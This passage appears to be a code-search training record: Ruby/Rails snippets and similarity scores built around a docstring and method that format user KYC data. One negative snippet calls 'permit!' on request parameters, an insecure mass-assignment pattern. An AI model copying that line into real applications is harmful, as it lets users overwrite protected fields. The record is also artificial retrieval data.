:published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Format kyc Always receives [Hash] :NOTE Reading data to format from key:'user_kyc' Author: Tejas Date: 24/09/2018 Reviewed By: Sets result_type, user_kyc
def show(data_to_format) formatted_data = { result_type: 'user_kyc', user_kyc: user_kyc_base(data_to_format[:user_kyc_detail], data_to_format[:admin]) } formatted_data end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_kyc_data\n @user_kyc_detail.present? ?\n {\n kyc_status: kyc_status,\n admin_action_types: @user_kyc_detail.admin_action_types_array,\n whitelist_status: @user_kyc_detail.whitelist_status\n }\n :\n {}\n end", "def user_kyc_base(user_kyc_detail, admin)\n {\n id: user_kyc_detail[:id],\n user_kyc_detail_id: user_kyc_detail[:user_extended_detail_id],\n user_id: user_kyc_detail[:user_id],\n kyc_status: user_kyc_detail[:kyc_status],\n admin_status: user_kyc_detail[:admin_status],\n aml_status: user_kyc_detail[:aml_status],\n whitelist_status: user_kyc_detail[:whitelist_status],\n admin_action_types: user_kyc_detail[:admin_action_types_array],\n submission_count: user_kyc_detail[:submission_count],\n last_acted_by: admin_name(user_kyc_detail[:last_acted_by], admin),\n created_at: user_kyc_detail[:created_at]\n }\n end", "def format_data\n formatted_data = nil\n unless @raw_data.class == Hash # Webmock hack\n case options.format.to_sym\n when :json\n formatted_data = JSON.parse(@raw_data, symbolize_names: true)\n when :xml\n formatted_data = MultiXml.parse(@raw_data)['userinfo']\n end\n end\n\n formatted_data\n end", "def formatData(data)\n data.keys.each{|key| data}\n end", "def wkbk_info\n {\n \"ID\" => id,\n \"名前\" => name,\n \"メールアドレス\" => email,\n \"プロバイダ\" => auth_infos.collect(&:provider).join(\" \"),\n \"Twitterアカウント\" => twitter_key,\n \"最終ログイン日時\" => current_sign_in_at&.to_s(:distance),\n \"登録日時\" => created_at&.to_s(:distance),\n \"IP\" => current_sign_in_ip,\n \"タグ\" => permit_tag_list,\n # \"最新シーズン情報ID\" => wkbk_latest_xrecord.id,\n # \"永続的プロフ情報ID\" => wkbk_main_xrecord.id,\n # \"部屋入室数\" => wkbk_room_memberships.count,\n # \"対局数\" => wkbk_battle_memberships.count,\n \"問題履歴数\" => wkbk_answer_logs.count,\n # \"バトル中発言数\" => wkbk_room_messages.count,\n # \"ロビー発言数\" => wkbk_lobby_messages.count,\n # \"問題コメント数\" => wkbk_article_messages.count,\n\n \"作成問題数\" => wkbk_articles.count,\n # \"問題高評価率\" => wkbk_articles.average(:good_rate),\n # \"問題高評価数\" => wkbk_articles.sum(:good_marks_count),\n # \"問題低評価数\" => wkbk_articles.sum(:bad_marks_count),\n\n \"問題正解数\" => wkbk_total_o_count,\n \"問題不正解数\" => wkbk_total_x_count,\n\n \"問題正解数(本日)\" => wkbk_today_total_o_count,\n \"問題不正解数(本日)\" => wkbk_today_total_x_count,\n\n \"ユニーク問題正解数(本日)\" => today_total_o_ucount,\n \"ユニーク問題不正解数(本日)\" => today_total_x_ucount,\n }\n end", "def parse_user_data_str(user_data_str)\n user_data = {}\n line_no = 0\n user_data_str.each_line do |line|\n line_no += 1\n line = line.strip\n next if line =~ /^#/ # skip comments\n next if line.empty? # skip blank lines\n parts = line.split(\"=\")\n if parts.length < 2\n warn \"user-data line #{line_no} does not conform to specification: '#{line}'\"\n else\n key = parts.first\n value = parts[1..-1].join('=') # in case there was an '=' in the value\n # already have a value, so make sure we have an array\n if user_data[key]\n if !user_data[key].is_a?(Array)\n user_data[key] = [user_data[key]]\n end\n user_data[key] << value\n else\n user_data[key] = value\n end\n end\n end\n\n return user_data\n end", "def fetch_user_kyc_detail\n @user_kyc_detail = UserKycDetail.using_client_shard(client: @client).get_from_memcache(@user_id)\n end", "def fetch_user_kyc_detail\n @user_kyc_detail = UserKycDetail.using_client_shard(client: @client).get_from_memcache(@user_id)\n end", "def fetch_user_kyc_details\n ar_relation = UserKycDetail.using_client_shard(client: @client).\n where(client_id: @client_id, status: GlobalConstant::UserKycDetail.active_status)\n ar_relation = ar_relation.filter_by(@filters)\n ar_relation = ar_relation.sorting_by(@sortings)\n\n offset = 0\n offset = @page_size * (@page_number - 1) if @page_number > 1\n @user_kycs = ar_relation.limit(@page_size).offset(offset).all\n @total_filtered_kycs = ar_relation.count\n end", "def email_kyc_approve(data_to_format)\n {}\n end", "def user_data_is_json_hash settings, debug=false\n user_data_hash = settings[:user_data]\n puts \"*****\\n\\n#{JSON.pretty_generate(user_data_hash)}\\n**********\\n\" if debug\n user_data user_data_hash.to_json\nend", "def hash\n [language, user_defined_field1, user_defined_field2, user_defined_field3, user_defined_field4, user_defined_field5, card_token, ptlf, knet_payment_id, knet_result, inquiry_result, bank_reference, knet_transaction_id, auth_code, auth_response_code, post_date, avr, error, error_text].hash\n end", "def user_hash\n @user_hash ||= MultiJson.decode(@access_token.get('https://api.trademe.co.nz/v1/MyTradeMe/Summary.json').body)\n end", "def formatted_cache_data\n {\n id: id,\n client_id: client_id,\n name: name,\n symbol: symbol,\n conversion_factor: conversion_factor.present? ? conversion_factor.to_s : conversion_factor, # should be string as it goes to FE\n decimal: decimal,\n status: status,\n stake_currency_id: stake_currency_id,\n properties: properties.present? ? Token.get_bits_set_for_properties(properties) : [],\n }\n end", "def get_keys\n access_key = USER_DATA[0].to_s.strip\n secret_access_key = USER_DATA[1].to_s.strip\n keys = { :access_key_id => access_key,\n :secret_access_key => secret_access_key}\nend", "def map_to_row!(user_data)\n row_data = {}\n\n # Handle public_key vs. certificates\n if user_data.key?(:public_key)\n row_data[:pubkey_version] = 0\n row_data[:public_key] = user_data.delete(:public_key)\n else\n row_data[:pubkey_version] = 1\n row_data[:public_key] = user_data.delete(:certificate)\n end\n\n breakout_columns(user_data).each do |property_name|\n row_data[property_name] = user_data.delete(property_name) if user_data.key?(property_name)\n end\n\n row_data[:serialized_object] = as_json(user_data)\n row_data\n end", "def email_kyc_deny(data_to_format)\n {}\n end", "def format_data(data, private_allowed)\n # Store all formatted data in this array\n formatted_data = []\n\n # Format name with flags\n # Name Mark Diez (student, employee, staff)\n # IAM ID 1234566\n if !data[\"basic_info\"].empty?\n data[\"basic_info\"].each do |info|\n name = \"*Name* \" + info[\"dFullName\"]\n\n flags = []\n if info[\"isEmployee\"]\n flags.push \"employee\"\n end\n if info[\"isHSEmployee\"]\n flags.push \"hs employee\"\n end\n if info[\"isFaculty\"]\n flags.push \"faculty\"\n end\n if info[\"isStudent\"]\n flags.push \"student\"\n end\n if info[\"isStaff\"]\n flags.push \"staff\"\n end\n if info[\"isExternal\"]\n flags.push \"external\"\n end\n flags = \" _(\" + flags.join(\", \") + \")_\"\n name += flags\n\n formatted_data.push name\n formatted_data.push \"*IAM ID* #{info[\"iamId\"]}\"\n if private_allowed\n formatted_data.push \"*Student ID* #{info[\"studentId\"]}\" unless info[\"studentId\"] == nil\n formatted_data.push \"*PPS ID* #{info[\"ppsId\"]}\" unless info[\"ppsId\"] == nil\n end\n end\n end\n\n # Format Kerberos information\n # Login ID msdiez, anotherid, ...\n if !data[\"kerberos_info\"].empty?\n ids = []\n data[\"kerberos_info\"].each do |info|\n id = info[\"userId\"] == nil ? \"Not Listed\" : info[\"userId\"]\n ids.push id\n end\n\n formatted_data.push \"*Login ID* \" + ids.join(\", \")\n else\n login_id = \"*Login ID* Not Listed\"\n formatted_data.push login_id\n end\n\n\n # Format contact information\n # E-mail [email protected], [email protected]\n # Office kerr 186, social science 133, ...\n if !data[\"contact_info\"].empty?\n email = []\n office = []\n data[\"contact_info\"].each do |info|\n email.push info[\"email\"] unless info[\"email\"] == nil\n office.push info[\"addrStreet\"] unless info[\"addrStreet\"] == nil\n end\n formatted_data.push \"*E-mail* \" + email.join(\", \")\n formatted_data.push \"*Office* \" + office.join(\", \")\n else\n formatted_data.push \"*E-mail* Not Listed\"\n formatted_data.push \"*Office* Not Listed\"\n end\n\n # Format ODR information\n # ODR Affiliation DSSIT: STD4 (Casual)\n require 'pp'\n pp data\n if !data['odr_info'].empty?\n data['odr_info'].each do |info|\n odr = '*ODR Affiliation* '\n odr += info['deptDisplayName'] + ': ' unless info['deptDisplayName'].nil?\n odr += info['titleDisplayName'] unless info['titleDisplayName'].nil?\n\n formatted_data.push odr\n end\n end\n\n # Format PPS information\n # PPS Affiliation DSSIT: STD4\n if !data['pps_info'].empty?\n data['pps_info'].each do |info|\n dept_name = info['deptDisplayName'] || 'Unknown Department'\n dept_code = info['deptCode'] || 'Unknown Department Code'\n title_name = info['titleDisplayName'] || 'Unknown Title'\n title_code = info['titleCode'] || 'Unknown Title Code'\n position_type = info['positionType'] || 'Unknown Position Type'\n employee_class = info['emplClassDesc'] || 'Unknown Employee Class'\n\n formatted_data.push \"*PPS Affiliation*\"\n formatted_data.push \" Department: #{dept_name} (#{dept_code})\"\n formatted_data.push \" Title: #{title_name} (#{title_code}) (#{position_type})\"\n formatted_data.push \" Employee Class: #{employee_class}\"\n end\n end\n\n # Format student information\n # Student Affiliation Computer Science (Undergraduate, Junior)\n if !data['student_info'].empty?\n data['student_info'].each do |info|\n student = '*Student Affiliation* '\n student += info['majorName'] + ' ('\n student += info['levelName'].scan(/\\S+/)[0] # Only grab the first word\n student += ', ' + info['className'] + ')'\n\n formatted_data.push student\n end\n end\n\n return formatted_data.join(\"\\n\")\n end", "def load_user_info\n\t\tif @user_info.has_key?(@@line_array[0].to_i)\n\t\t\t@user_info[@@line_array[0].to_i][@@line_array[1].to_i] = @@line_array[2].to_i\n\t\telse\n\t\t\t@user_info[@@line_array[0].to_i] = {@@line_array[1].to_i => @@line_array[2].to_i}\n\t\tend\n\tend", "def fetch_user_kyc_detail\n @user_kyc_detail = UserKycDetail.using_client_shard(client: @client).get_from_memcache(@user_id)\n\n return error_with_identifier('resource_not_found',\n 'um_kd_g_fukd_1'\n ) if (@user_kyc_detail.blank? || (@user_kyc_detail.status != GlobalConstant::UserKycDetail.active_status) ||\n (@user_kyc_detail.client_id != @client_id))\n\n success\n end", "def email_kyc_report_issue(data_to_format)\n {}\n end", "def parse_user_data(user_data)\n parsed_user_data = user_data\n return parsed_user_data\n end", "def get_user_extended_detail_data\n\n allowed_kyc_fields.each do |field_name|\n if GlobalConstant::ClientKycConfigDetail.unencrypted_fields.include?(field_name)\n @user_extended_detail[field_name.to_sym] = @user_extended_detail_obj[field_name]\n elsif GlobalConstant::ClientKycConfigDetail.encrypted_fields.include?(field_name)\n\n if GlobalConstant::ClientKycConfigDetail.non_mandatory_fields.include?(field_name) && @user_extended_detail_obj[field_name].blank?\n if field_name == GlobalConstant::ClientKycConfigDetail.investor_proof_files_path_kyc_field\n for i in 1..GlobalConstant::ClientKycConfigDetail.max_number_of_investor_proofs_allowed\n @user_extended_detail[field_name.to_sym] ||= []\n end\n else\n @user_extended_detail[field_name.to_sym] = nil\n end\n next\n end\n\n decrypted_data = local_cipher_obj.decrypt(@user_extended_detail_obj[field_name]).data[:plaintext]\n\n if GlobalConstant::ClientKycConfigDetail.image_url_fields.include?(field_name)\n if field_name == GlobalConstant::ClientKycConfigDetail.investor_proof_files_path_kyc_field\n for i in 1..GlobalConstant::ClientKycConfigDetail.max_number_of_investor_proofs_allowed\n @user_extended_detail[field_name.to_sym] ||= []\n @user_extended_detail[field_name.to_sym] << get_url(decrypted_data[i - 1])\n end\n else\n @user_extended_detail[field_name.to_sym] = get_url(decrypted_data)\n end\n else\n @user_extended_detail[field_name.to_sym] = decrypted_data\n end\n\n else\n throw \"invalid kyc field-#{field_name}\"\n end\n end\n\n extra_kyc_fields = {}\n\n if @user_extended_detail_obj[:extra_kyc_fields].present?\n extra_kyc_fields = local_cipher_obj.decrypt(@user_extended_detail_obj[:extra_kyc_fields]).data[:plaintext]\n end\n\n allowed_extra_kyc_fields.each do |field_name|\n @user_extended_detail[field_name.to_sym] = extra_kyc_fields[field_name.to_sym]\n end\n\n\n @user_extended_detail.merge!({id: @user_extended_detail_obj.id, created_at: @user_extended_detail_obj.created_at.to_i})\n end", "def ec2_user_data(key = '', default = '')\n ec2_fetch_user_data_str\n @user_data = parse_user_data_str(@user_data_str) if !@user_data\n\n if @user_data[key]\n return @user_data[key]\n else\n return default\n end\n end", "def fetch_and_validate_user_kyc_detail\n user_kyc_detail = UserKycDetail.using_client_shard(client: @client).get_from_memcache(@user_id)\n\n return error_with_identifier('kyc_not_denied',\n 'um_se_d_favukd_1'\n ) if (user_kyc_detail.blank? || (user_kyc_detail.client_id != @client_id)) || !(user_kyc_detail.kyc_denied?)\n\n success\n end", "def print_hash_values hash\n puts hash unless hash.is_a? Hash\n hash.each do |k, v|\n if v.is_a? Hash\n puts \"User:\".yellow + \" #{k}\"\n print_hash_values v\n else\n if k == 'password'\n puts \"#{k.yellow}: ** HIDDEN **\"\n else\n puts \"#{k.yellow}: #{v}\\n\" unless v.nil?\n end\n end\n end\n end", "def student_data_hash\n\n # turn data into 2 Dim array containing arrays of eles where delimiter is colon :\n clean_user_account_data = ruby_class_user_accounts.map { |x| x.split(/:/) }\n\n # turn data into a hash using 2 arrays for keys and values\n keys = %w[user_name password uid gid gcos_field home_directory login_shell]\n final_array_of_hashes = []\n\n clean_user_account_data.each do |account_data|\n hash = Hash.new\n keys.each_with_index { |item, index| hash[item] = account_data[index] }\n final_array_of_hashes << hash\n end\n final_array_of_hashes\n end", "def success_response_data_for_client\n {\n user: user_data,\n user_kyc_data: user_kyc_data\n }\n end", "def userinfo\n object.fetch(:userinfo) {\n @object[:userinfo] = (format_userinfo(\"\") if @object[:user])\n }\n end", "def getUserRateHash(userCustVals)\n\t\trateHash = Hash.new\n\t\tuserCustVals.each do |custVal|\n\t\t\tcase custVal.custom_field_id \n\t\t\t\twhen getSettingCfId('wktime_user_billing_rate_cf') \n\t\t\t\t\trateHash[\"rate\"] = custVal.value.to_f\n\t\t\t\twhen getSettingCfId('wktime_user_billing_currency_cf') \n\t\t\t\t\trateHash[\"currency\"] = custVal.value\n\t\t\t\twhen getSettingCfId('wktime_attn_designation_cf')\n\t\t\t\t\trateHash[\"designation\"] = custVal.value\n\t\t\tend\n\t\tend\n\t\trateHash\n\tend", "def user_data\n {\n id: @user.id,\n email: @user.email,\n user_token_sale_state: @user_token_sale_state,\n bt_name: @user.bt_name.to_s\n }\n end", "def save_user_data(content_keys, request_url_param, format_param, credential)\n content_keys.each do |content_key|\n data = content_key.values[0]\n extracted_key = content_key.keys[0]\n zendesk_user = ::Zendesk::User.find_or_initialize_by_target_id(extracted_key)\n zendesk_user.update_attributes({:request_url => request_url_param, :content => data, :format => format_param, :credential => extract_credential(credential), :target_id => extracted_key})\n end\n end", "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t']\n }\n end", "def user_info\n {\n 'nickname' => user_hash['Nickname'],\n 'first_name' => user_hash['FirstName'],\n 'last_name' => user_hash['LastName'],\n 'name' => [user_hash['FirstName'], user_hash['LastName']].reject{|n| n.nil? || n.empty?}.join(' '),\n }\n end", "def preetify\n preety_print do |instance|\n org = instance['organization'] || { 'name' => 'N/A' }\n puts 'organization_name'.to_s.ljust(30) + org['name']\n\n %w[submitter assignee].each do |user_key|\n user = instance[user_key] || { 'name' => 'N/A' }\n puts user_key.ljust(30) + user['name']\n end\n end\n end", "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t'],\n }\n end", "def format_conversion\n { account_id: self.account_id.to_s, app_id: self.app_id.to_s, actor_id: self.actor_id.to_s, properties: self.properties, time: self.updated_at}\n rescue => e\n Rails.logger.error(\"**** ERROR **** #{e.message}\")\n {}\n end", "def user_csv_import(row)\n {\n 'user' => {\n 'content' => {\n 'email' => row[0],\n 'login' => row[1],\n 'firstname' => row[2],\n 'lastname' => row[3]\n },\n 'meta' => {}\n }\n }\n end", "def get_formatter_class\n Formatter::V2::UsersKycDetail\n end", "def formatted_event_data\n @get_formatter_class ||= begin\n case event_type\n when GlobalConstant::Event.user_result_type\n Formatter::V2::Users.show(@event_data)\n when GlobalConstant::Event.user_kyc_result_type\n Formatter::V2::UsersKyc.show(@event_data)\n else\n fail 'invalid event type'\n end\n end\n end", "def print_client_data(input_hash)\r\n input_hash.each do |key, val|\r\n puts \"#{key}: is #{val} \"\r\n end \r\nend", "def load_data (file, data, k=nil)\n\t\ti=0\n\t\tfile.each_line do |line|\n\t\t\tif i ==k \n\t\t\t\tbreak\n\t\t\tend\n\t\t\twords = line.split(\"\\t\")\n\t\t\tif data.has_key?(words[0].to_i)\n\t\t\t\tdata[words[0].to_i].store_data(words[1].to_i,words[2].to_i)\n\t\t\telse\n\t\t\t\tx = User_data.new\n\t\t\t\tx.store_data(words[1].to_i,words[2].to_i)\n\t\t\t\tdata.store(words[0].to_i, x)\n\t\t\tend\n\t\t\ti+=1\n\t\tend\n\tend", "def kyc_status\n @user_kyc_detail.kyc_status\n end", "def filter_userinfo(raw_userinfo)\n raw_userinfo.slice(:provider, :uid, :info, :extra).tap do |userinfo|\n # Include basic user information\n userinfo[:info] = userinfo.fetch(:info, {}).slice(:name, :nickname, :image)\n\n # Include custom roles array provided by auth0\n userinfo[:extra] = userinfo.fetch(:extra, {}).slice(:raw_info)\n raw_info = userinfo[:extra].fetch(:raw_info, {})\n userinfo[:extra][:raw_info] = raw_info.slice(\"http://musiclist/roles\")\n end.deep_stringify_keys\n end", "def issue_params\n user_data = {\n Remarks: params.fetch(:Remarks, nil),\n StoreName: params.fetch(:StoreName, \"\"),\n BrandName: params.fetch(:BrandName, \"\"),\n ProgramName: params.fetch(:ProgramName, \"\"),\n Latitude: params.fetch(:Latitude, 0),\n Longitude: params.fetch(:Longitude, 0),\n Username: params.fetch(:Username, \"\")\n }\n end", "def curation_note_user\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: curation_note_user_ordered, values: values )\n return values\n end", "def user_to_hash(user)\n { \"id\" => user[\"_id\"].to_s, \"uid\" => user[\"uid\"], \"name\" => user[\"name\"], \"email\" => user[\"email\"] }\nend", "def user_to_hash(user)\n { \"id\" => user[\"_id\"].to_s, \"uid\" => user[\"uid\"], \"name\" => user[\"name\"], \"email\" => user[\"email\"] }\nend", "def info\n {\n \"ID\" => id,\n \"名前\" => name,\n \"名前確定日時\" => name_input_at&.to_s(:distance),\n \"メールアドレス\" => email,\n \"プロバイダ\" => auth_infos.collect(&:provider).join(\" \"),\n \"Twitterアカウント\" => twitter_key,\n \"ログイン回数\" => sign_in_count,\n \"最終ログイン日時\" => current_sign_in_at&.to_s(:distance),\n \"登録日時\" => created_at&.to_s(:distance),\n \"IP\" => current_sign_in_ip,\n \"タグ\" => permit_tag_list,\n\n \"オンライン\" => Actb::SchoolChannel.active_users.include?(self) ? \"○\" : \"\",\n \"対戦中\" => Actb::RoomChannel.active_users.include?(self) ? \"○\" : \"\",\n \"最終選択ルール\" => actb_setting.rule.pure_info.name,\n\n \"レーティング\" => rating,\n \"クラス\" => skill_key,\n \"最新シーズン情報ID\" => actb_latest_xrecord.id,\n \"永続的プロフ情報ID\" => actb_main_xrecord.id,\n \"部屋入室数\" => actb_room_memberships.count,\n \"対局数\" => actb_battle_memberships.count,\n \"問題履歴数\" => actb_histories.count,\n \"バトル中発言数\" => actb_room_messages.count,\n \"ロビー発言数\" => actb_lobby_messages.count,\n \"問題コメント数\" => actb_question_messages.count,\n\n \"作成問題数\" => actb_questions.count,\n \"問題高評価率\" => actb_questions.average(:good_rate),\n \"問題高評価数\" => actb_questions.sum(:good_marks_count),\n \"問題低評価数\" => actb_questions.sum(:bad_marks_count),\n\n \"問題正解数\" => total_o_count,\n \"問題不正解数\" => total_x_count,\n\n \"問題正解数(本日)\" => today_total_o_count,\n \"問題不正解数(本日)\" => today_total_x_count,\n\n \"ユニーク問題正解数(本日)\" => today_total_o_ucount,\n \"ユニーク問題不正解数(本日)\" => today_total_x_ucount,\n }\n end", "def perform\n\n r = validate_and_sanitize\n return r unless r.success?\n\n r = find_user\n return r unless r.success?\n\n fetch_user_kyc_detail\n\n success_with_data(success_response_data_for_client)\n\n end", "def to_datadog_hash\n {\n \"usr.id\" => id,\n \"usr.access_level\" => access_level,\n \"usr.sync_approval_status\" => sync_approval_status\n }\n end", "def user_data(filename)\n user_data = CSV.read Dir.pwd + filename\n descriptor = user_data.shift\n descriptor = descriptor.map { |key| key.to_sym }\n user_data.map { |user| Hash[ descriptor.zip(user) ] }\n end", "def user_rate (user_ratings_arr, line)\r\n\t\tif user_ratings_arr[line[0]].nil? \r\n\t\t\tuser_ratings_arr[line[0]] = {line[1] =>line[2]}\r\n\t\telse\r\n\t\t\tuser_ratings_arr[line[0]][line[1]] = line[2]\r\n\t\tend\r\n\tend", "def get_kyc_user_usertoken_with_http_info(user_token, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KycApi.get_kyc_user_usertoken ...'\n end\n # verify the required parameter 'user_token' is set\n if @api_client.config.client_side_validation && user_token.nil?\n fail ArgumentError, \"Missing the required parameter 'user_token' when calling KycApi.get_kyc_user_usertoken\"\n end\n # resource path\n local_var_path = '/kyc/user/{user_token}'.sub('{' + 'user_token' + '}', CGI.escape(user_token.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'start_index'] = opts[:'start_index'] if !opts[:'start_index'].nil?\n query_params[:'fields'] = opts[:'fields'] if !opts[:'fields'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KYCListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"KycApi.get_kyc_user_usertoken\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KycApi#get_kyc_user_usertoken\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def user_hash\n response_hash.key?(:user) ? response_hash[:user] : {}\n end", "def format_response response \n translate_response_hash_keys response_to_hash(response)\n end", "def summarize\n {\n id: id,\n name: name,\n username: username,\n email: email,\n hashed_email: hashed_email,\n user_type: user_type,\n gender: gender,\n birthday: birthday,\n total_lines: total_lines,\n secret_words: secret_words,\n secret_picture_name: secret_picture.name,\n secret_picture_path: secret_picture.path,\n location: \"/v2/users/#{id}\",\n age: age,\n sharing_disabled: sharing_disabled?,\n }\n end", "def parse_response(context) \n @user_context = {\n :cobrand_id => context[:cobrand_id],\n :channel_id => context[:channel_id],\n :locale => { \n :country => context[:locale][:country], \n :language => context[:locale][:language], \n :variant => context[:locale][:variant] \n },\n :tnc_version => context[:tnc_version],\n :application_id => context[:application_id],\n :cobrand_conversation_credentials => {\n :session_token => context[:cobrand_conversation_credentials][:session_token]\n }, \n :preference_info => {\n :currency_code => context[:preference_info][:currency_code],\n :time_zone => context[:preference_info][:time_zone],\n :date_format => context[:preference_info][:date_format],\n :currency_notation_type => context[:preference_info][:currency_notation_type],\n :number_format => {\n :decimal_separator => context[:preference_info][:number_format][:decimal_separator],\n :grouping_separator => context[:preference_info][:number_format][:grouping_separator],\n :group_pattern => context[:preference_info][:number_format][:group_pattern]\n }\n },\n :conversation_credentials => {\n :session_token => context[:conversation_credentials][:session_token]\n }, \n :valid => context[:valid],\n :is_password_expired => context[:is_password_expired],\n :attributes! => {\n :conversation_credentials => {\"xsi:type\" => \"login:SessionCredentials\"},\n :cobrand_conversation_credentials => { \"xsi:type\" => \"login:SessionCredentials\"}\n }\n }\n end", "def parse_response(context) \n @user_context = {\n :cobrand_id => context[:cobrand_id],\n :channel_id => context[:channel_id],\n :locale => { \n :country => context[:locale][:country], \n :language => context[:locale][:language], \n :variant => context[:locale][:variant] \n },\n :tnc_version => context[:tnc_version],\n :application_id => context[:application_id],\n :cobrand_conversation_credentials => {\n :session_token => context[:cobrand_conversation_credentials][:session_token]\n }, \n :preference_info => {\n :currency_code => context[:preference_info][:currency_code],\n :time_zone => context[:preference_info][:time_zone],\n :date_format => context[:preference_info][:date_format],\n :currency_notation_type => context[:preference_info][:currency_notation_type],\n :number_format => {\n :decimal_separator => context[:preference_info][:number_format][:decimal_separator],\n :grouping_separator => context[:preference_info][:number_format][:grouping_separator],\n :group_pattern => context[:preference_info][:number_format][:group_pattern]\n }\n },\n :conversation_credentials => {\n :session_token => context[:conversation_credentials][:session_token]\n }, \n :valid => context[:valid],\n :is_password_expired => context[:is_password_expired],\n :attributes! => {\n :conversation_credentials => {\"xsi:type\" => \"login:SessionCredentials\"},\n :cobrand_conversation_credentials => { \"xsi:type\" => \"login:SessionCredentials\"}\n }\n }\n end", "def rekey_data(data)\n {\n id: data.fetch(\"id\"),\n question: {\n lemma: data.fetch(\"question\").fetch(\"lemma\"),\n prompt: data.fetch(\"question\").fetch(\"prompt\")\n }\n }\n end", "def meta_data\n u_ids = object.message_status.user_ids\n {\n read_by_count: u_ids.count,\n read_by: User.select(:id,:name,:last_name).where(\"users.id IN (?)\",u_ids).map {|u| {id: u.id,name: full_name(u.name,u.last_name)}},\n is_read: object.read\n }\n end", "def event_data\n {\n user_kyc_detail: @user_kyc_detail.get_hash,\n admin: @user_kyc_detail.get_last_acted_admin_hash\n }\n end", "def to_output_format(data)\n records = []\n data.each do |arr|\n records << {\n last_name: arr[0],\n first_name: arr[1],\n gender: arr[2],\n favorite_color: arr[3],\n birthdate: arr[4]\n } \n end\n records\n end", "def generate_case_data(kyc_salt_d, user_extended_detail, user_kyc_detail)\n decryptor_obj = LocalCipher.new(kyc_salt_d)\n\n estimated_amount = decryptor_obj.decrypt(user_extended_detail.estimated_participation_amount).data[:plaintext].to_f\n country = decryptor_obj.decrypt(user_extended_detail.country).data[:plaintext]\n # kyc_confirmed_at column is now holding data when ethereum address is whitelisted.\n # TODO: Please deprecate use of this from here\n # kyc_confirm_date = Time.at(user_kyc_detail.kyc_confirmed_at).in_time_zone('Pacific Time (US & Canada)').to_date.to_s\n kyc_confirm_date = Time.at(user_kyc_detail.created_at.to_i).in_time_zone('Pacific Time (US & Canada)').to_date.to_s\n kyc_approval_status = user_kyc_detail.kyc_approved? ? 'approved' : (user_kyc_detail.kyc_denied? ? 'denied' : 'pending')\n proof_of_support = (user_kyc_detail.pos_bonus_percentage.to_i > 0) ? 1 : 0\n alt_bonus = user_kyc_detail.alternate_token_id_for_bonus.present? ? 1 : 0\n\n ethereum_address = decryptor_obj.decrypt(user_extended_detail.ethereum_address).data[:plaintext]\n\n number_of_transactions = 0\n total_ether_wei_value = 0\n phase_1_wei_purchased_amount = 0\n phase_2_wei_purchased_amount = 0\n PurchaseLog.where(ethereum_address: ethereum_address).each do |pl|\n number_of_transactions += 1\n total_ether_wei_value += pl.ether_wei_value\n if @last_phase_1_block_time <= pl.block_creation_timestamp\n phase_1_wei_purchased_amount += pl.ether_wei_value\n else\n phase_2_wei_purchased_amount += pl.ether_wei_value\n end\n end\n\n purchased_amount = GlobalConstant::ConversionRate.wei_to_basic_unit_in_string(total_ether_wei_value)\n phase_1_purchased_amount = 